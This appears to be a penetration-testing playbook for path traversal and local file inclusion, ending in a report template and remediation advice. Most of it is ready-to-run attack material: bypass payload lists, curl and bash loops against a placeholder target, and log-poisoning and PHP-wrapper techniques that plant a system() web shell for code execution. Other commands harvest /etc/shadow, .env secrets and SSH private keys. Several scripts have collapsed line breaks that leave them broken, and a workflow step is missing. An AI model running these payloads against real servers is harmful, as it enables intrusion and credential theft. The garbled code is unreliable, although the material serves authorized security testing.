Testing web applications for path traversal vulnerabilities that allow reading or writing arbitrary files on the server by manipulating file path parameters.
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Testing web applications for path traversal vulnerabilities that allow reading or writing arbitrary files on the server by manipulating file path parameters.
SecLists: Traversal payload wordlists from Daniel Miessler's collection
curl: For manual testing of traversal payloads
Critical: Variants Most Often Missed (test these for EVERY file parameter)
Scanners frequently miss path traversal / LFI because they only try the
canonical ../../../etc/passwd and give up when a filter blocks it. For every
parameter that could reference a file, you MUST try the full matrix below — a
single blocked payload does not mean the parameter is safe.
# 1. Raw absolute path — NO traversal at all. Works when the app prepends
# nothing or uses include($_GET['x']) directly. THIS IS THE #1 MISS.
/etc/passwd
etc/passwd
file:///etc/passwd
# 2. Leading-slash variants — bypass filters that strip a single "../" or
# only block the exact string "/etc/passwd". Extra leading slashes are
# normalized to one by most loaders, so //etc/passwd == /etc/passwd.
//etc/passwd
///etc/passwd
////etc/passwd
/./etc/passwd
/%2e/etc/passwd
# 3. Classic relative traversal at increasing depth (1–12 levels)
../etc/passwd ... ../../../../../../../../../../../../etc/passwd
# 4. Filter-stripping bypasses (non-recursive "../" removal)
....//....//....//etc/passwd
..././..././..././etc/passwd
....\/....\/....\/etc/passwd
# 5. Encoding bypasses
..%2f..%2f..%2fetc%2fpasswd # single URL-encode
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd # double URL-encode
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd # overlong UTF-8
%2e%2e/%2e%2e/%2e%2e/etc/passwd
# 6. Trailer / extension-append bypasses
../../../etc/passwd%00.png # null byte (PHP < 5.3.4)
../../../etc/passwd%00
../../../etc/passwd#
../../../etc/passwd?
/etc/passwd%00.jpg
# 7. Path-parameter / semicolon bypasses (Tomcat, some proxies)
..;/..;/..;/etc/passwd
How to CONFIRM a hit (avoid false negatives)
Match the response body against these signatures, not just a 200 status or a
size change:
/etc/passwd → regex root:.*?:0:0: (a root line). Also daemon:, nobody:.
/etc/hosts → 127.0.0.1 plus localhost.
/proc/self/environ → PATH= / HTTP_USER_AGENT=.
Windows win.ini → [fonts] / [extensions] / for 16-bit app support.
PHP php://filter base64 read → a long base64 blob that decodes to <?php.
Treat ANY of: a content-length delta vs. a known-bad baseline, a new MIME type,
or a partial match (e.g. only root:x:0:0 with the rest truncated) as a
candidate worth manual confirmation. Do NOT require the literal full file.
Workflow
Step 1: Identify File Path Parameters
Find application endpoints that reference files through parameters.
# Common file-handling patterns to look for:# /download?file=report.pdf# /view?page=about.html# /api/files?path=documents/invoice.pdf# /template?name=header.html# /include?module=sidebar# /image?src=photos/avatar.jpg# /export?format=csv&template=default# In Burp Suite, search proxy history for file-related parameters# Filter by parameter names: file, path, page, template, include,# module, src, doc, document, folder, dir, name, filename# Test with a known valid file to establish baseline
curl -s "https://target.example.com/download?file=report.pdf" -o /dev/null -w "%{http_code} %{size_download}"# Try referencing a file that shouldn't be accessible
curl -s "https://target.example.com/download?file=../../../etc/passwd"
Step 2: Test Basic Directory Traversal Payloads
Attempt to escape the intended directory and read sensitive files.
# Linux traversal payloads
PAYLOADS=(
"../../../etc/passwd""../../../../etc/passwd""../../../../../etc/passwd""../../../../../../etc/passwd""../../../../../../../etc/passwd""..%2f..%2f..%2fetc%2fpasswd""..%252f..%252f..%252fetc%252fpasswd""%2e%2e/%2e%2e/%2e%2e/etc/passwd""....//....//....//etc/passwd""..;/..;/..;/etc/passwd"
)
for payload in"${PAYLOADS[@]}"; doecho -n "Testing: $payload -> "
response=$(curl -s "https://target.example.com/download?file=$payload")
ifecho"$response" | grep -q "root:"; thenecho"VULNERABLE"elseecho"Blocked"fidone# Windows traversal payloads
WIN_PAYLOADS=(
"..\..\..\windows\win.ini""..%5c..%5c..%5cwindows%5cwin.ini""..\/..\/..\/windows/win.ini""....\\....\\....\\windows\\win.ini"
)
for payload in"${WIN_PAYLOADS[@]}"; doecho -n "Testing: $payload -> "
curl -s "https://target.example.com/download?file=$payload" | head -c 100
echodone
Step 3: Apply Encoding and Filter Bypass Techniques
Use various encoding schemes to bypass input validation filters.
Use automated tools for comprehensive traversal testing.
# ffuf with traversal payload list
ffuf -u "https://target.example.com/download?file=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-mc 200 \
-fs 0 \
-t 20 -rate 50 \
-o traversal-results.json -of json
# dotdotpwn for systematic traversal testing
dotdotpwn -m http-url \
-u "https://target.example.com/download?file=TRAVERSAL" \
-k "root:" \
-o /tmp/dotdotpwn-results.txt \
-d 8 -t 200
# Burp Intruder approach:# 1. Send request to Intruder# 2. Mark the file parameter value as insertion point# 3. Load LFI payload list from SecLists# 4. Add Grep Match rules for: "root:", "[extensions]", "for 16-bit"# 5. Start attack and review matches
Step 5: Test Local File Inclusion (LFI) for Code Execution
If LFI is confirmed, attempt to escalate to remote code execution.
# PHP LFI to RCE via log poisoning# Step 1: Inject PHP code into access log
curl -s -A "<?php system(\$_GET['cmd']); ?>" \
"https://target.example.com/"# Step 2: Include the log file via LFI
curl -s "https://target.example.com/page?file=../../../var/log/apache2/access.log&cmd=id"# PHP wrapper for file read (base64 encode to avoid parsing)
curl -s "https://target.example.com/page?file=php://filter/convert.base64-encode/resource=config.php"# PHP wrapper for code execution
curl -s -X POST \
-d "<?php system('id'); ?>" \
"https://target.example.com/page?file=php://input"# PHP data wrapper
curl -s "https://target.example.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg=="# Include /proc/self/environ (if readable)
curl -s -A "<?php phpinfo(); ?>" \
"https://target.example.com/page?file=../../../proc/self/environ"# Session file inclusion# Write PHP code into session via another parameter# Then include: /tmp/sess_<PHPSESSID>
Step 6: Read High-Value Files
Target sensitive configuration and credential files.
# Linux high-value files
HIGH_VALUE_LINUX=(
"/etc/passwd""/etc/shadow""/etc/hosts""/etc/hostname""/proc/self/environ""/proc/self/cmdline""/var/www/html/.env""/var/www/html/config.php""/var/www/html/wp-config.php""/home/user/.ssh/id_rsa""/home/user/.bash_history""/root/.bash_history""/var/log/auth.log"
)
for file in"${HIGH_VALUE_LINUX[@]}"; do
traversal="../../../../../../..$file"echo -n "$file: "
response=$(curl -s "https://target.example.com/download?file=$traversal")
if [ ${#response} -gt 10 ]; thenecho"READABLE (${#response} bytes)"elseecho"Not accessible"fidone# Windows high-value files
HIGH_VALUE_WIN=(
"C:\\Windows\\win.ini""C:\\Windows\\System32\\drivers\\etc\\hosts""C:\\inetpub\\wwwroot\\web.config""C:\\Users\\Administrator\\.ssh\\id_rsa""C:\\xampp\\apache\\conf\\httpd.conf""C:\\xampp\\mysql\\data\\mysql\\user.MYD"
)
Key Concepts
Concept
Description
Directory Traversal
Using ../ sequences to navigate to parent directories and access files outside the intended path
Local File Inclusion (LFI)
Server-side inclusion of local files, potentially leading to code execution
Remote File Inclusion (RFI)
Including files from external URLs (requires allow_url_include=On in PHP)
Null Byte Injection
Using %00 to truncate file paths, bypassing extension checks in older PHP versions
PHP Wrappers
Protocols like php://filter, php://input, data:// for reading and executing files
Log Poisoning
Injecting code into log files and then including them via LFI for code execution
Path Canonicalization
The process of resolving relative paths to absolute paths, which can be exploited
Tools & Systems
Tool
Purpose
Burp Suite Professional
Request interception and Intruder for automated payload testing
ffuf
Fast fuzzing with LFI/traversal wordlists
dotdotpwn
Dedicated directory traversal fuzzer with multiple traversal patterns
LFISuite
Automated LFI exploitation tool with multiple techniques
SecLists
Comprehensive wordlists including LFI payloads and traversal patterns
Kadimus
LFI scanning and exploitation tool
Common Scenarios
Scenario 1: File Download Traversal
A document download endpoint at /download?file=report.pdf does not validate the file parameter. Replacing the value with ../../../etc/passwd returns the server's password file.
Scenario 2: Template LFI to RCE
A PHP application includes templates via ?page=home. By poisoning the Apache access log with PHP code in the User-Agent header, then including the log file, the attacker achieves remote code execution.
Scenario 3: Image Path Traversal
An image resizing service accepts ?src=images/photo.jpg. The application strips ../ once but does not recurse, so ....//....//etc/passwd bypasses the filter.
Scenario 4: Windows IIS Configuration Leak
A .NET application serves files via ?path=docs\manual.pdf. Traversing to ..\..\web.config exposes the IIS configuration file containing database connection strings.
Output Format
## Directory Traversal Finding
**Vulnerability**: Path Traversal / Local File Inclusion
**Severity**: High (CVSS 8.6)
**Location**: GET /download?file=../../../etc/passwd
**OWASP Category**: A01:2021 - Broken Access Control
### Reproduction Steps
1. Navigate to https://target.example.com/download?file=report.pdf
2. Replace file parameter: ?file=../../../etc/passwd
3. Server returns contents of /etc/passwd
### Files Retrieved
| File | Impact |
|------|--------|
| /etc/passwd | User enumeration (42 accounts) |
| /var/www/html/.env | Database credentials exposed |
| /home/deploy/.ssh/id_rsa | SSH private key recovered |
| /proc/self/environ | Environment variables with API keys |
### Filter Bypass Required
Original `../` stripped by filter. Successful bypass: `....//....//....//etc/passwd`
### Recommendation
1. Use an allowlist of permitted file names rather than accepting arbitrary paths
2. Resolve the canonical path and verify it stays within the intended directory
3. Run the web server with minimal file system permissions
4. Remove sensitive files from web-accessible directories
5. Disable PHP wrappers (allow_url_include, allow_url_fopen) if not required
